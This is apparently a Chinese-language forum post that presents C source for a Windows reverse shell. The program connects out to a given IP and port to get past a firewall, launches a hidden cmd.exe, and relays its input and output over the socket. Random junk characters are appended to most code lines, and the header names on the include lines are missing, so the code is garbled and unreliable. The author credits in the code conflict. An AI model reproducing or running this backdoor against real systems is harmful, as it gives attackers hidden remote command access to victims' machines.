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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W`KkuQ4cM  
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/* ============================== HHdc[pJ0D  
Rebound port in Windows NT ]l4\/E W6  
By wind,2006/7 ,YH.n>`s+  
===============================*/ {)G3*>sG3  
#include >?5`FC  
#include >DDQ7 l  
$>+-=XMVB  
#pragma comment(lib,"wsock32.lib") ;9rQN3J$gn  
k[][Md2Vh  
void OutputShell(); g&"Nr aQM9  
SOCKET sClient; E:7vm@+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g wk\[I`;  
*J6qL! ["  
void main(int argc,char **argv) E-RbFTVBA  
{ U+W8)7bc  
WSADATA stWsaData; :]x)lP(3E  
int nRet; dX<UruPA  
SOCKADDR_IN stSaiClient,stSaiServer; ^b4o 0me  
i"r=b%;;  
if(argc != 3) 7+ c?eH  
{ `ul"D%  
printf("Useage:\n\rRebound DestIP DestPort\n"); E;N+B34  
return; 4VK5TWg  
} $.`(2  
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WSAStartup(MAKEWORD(2,2),&stWsaData); #df Aqg'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |^FDsJUN  
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stSaiClient.sin_family = AF_INET; :D(:( `A=  
stSaiClient.sin_port = htons(0); P0W%30Dh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  X(bb1  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :QN,T3i'/3  
{ \4V'NTjB  
printf("Bind Socket Failed!\n"); GU!|J71z  
return; am`eist:  
} J9 /w_,,R$  
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stSaiServer.sin_family = AF_INET; 4((Z8@iX/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9~N7hLT  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %e _WO,R  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u+{5c5_  
{ r,F'Jd5  
printf("Connect Error!"); (33[N  
return; u{J:wb  
} {`-EX  
OutputShell(); qlSMg;"Ghw  
} ^y&l!,(A   
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void OutputShell() `9@!"p f  
{ LV`- eW  
char szBuff[1024]; E]Kd`&^}  
SECURITY_ATTRIBUTES stSecurityAttributes; 7m8L!t9  
OSVERSIONINFO stOsversionInfo; d8|:)7PSt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xa-]+_?Q  
STARTUPINFO stStartupInfo; )U8F6GIC&}  
char *szShell; |]Ockg[  
PROCESS_INFORMATION stProcessInformation; vh T9#) HI  
unsigned long lBytesRead; 4iDo.1B"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _w)0r}{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #LF_*a0v  
stSecurityAttributes.lpSecurityDescriptor = 0; brZ3T`p+.P  
stSecurityAttributes.bInheritHandle = TRUE; wp$SO^?-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -6#i~a]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); / Z \zB  
T_pE'U%[  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1298&C@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /K'Kx  
stStartupInfo.wShowWindow = SW_HIDE; iPxSVH[  
stStartupInfo.hStdInput = hReadPipe; KPKby?qQ^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dBCg$Rud&  
(/PD;R$b  
GetVersionEx(&stOsversionInfo); bvZmo zbD  
}Dk_gom_  
switch(stOsversionInfo.dwPlatformId) [4 "%NY  
{ ^ .>)*P  
case 1: %Sj;:LC  
szShell = "command.com"; T- JJc#  
break; OG0ro(|dI  
default: 0M pX.0  
szShell = "cmd.exe"; D7 A{*Tm  
break; I9B B<~4o  
} Bojm lVg  
r)ga{Nn,.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sd Z=3)  
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send(sClient,szMsg,77,0); `4XfT.9GT  
while(1) k5W5 9tz  
{ uPb9j;Q?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s|d L.@0,L  
if(lBytesRead) AQ@A$  
{ )p(XY34]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ))u$j4 V  
send(sClient,szBuff,lBytesRead,0); /ZX8gR5x  
} +STT(bMn  
else VAV@Qn  
{ I C7n;n9  
lBytesRead=recv(sClient,szBuff,1024,0); :x= ZvAvo  
if(lBytesRead<=0) break; r0?`t!% V  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PE+N5n2Tl  
} eF!c< Kcr  
} ;p1%KmK3  
0A\o8T.12  
return; 2qw~hWX  
}
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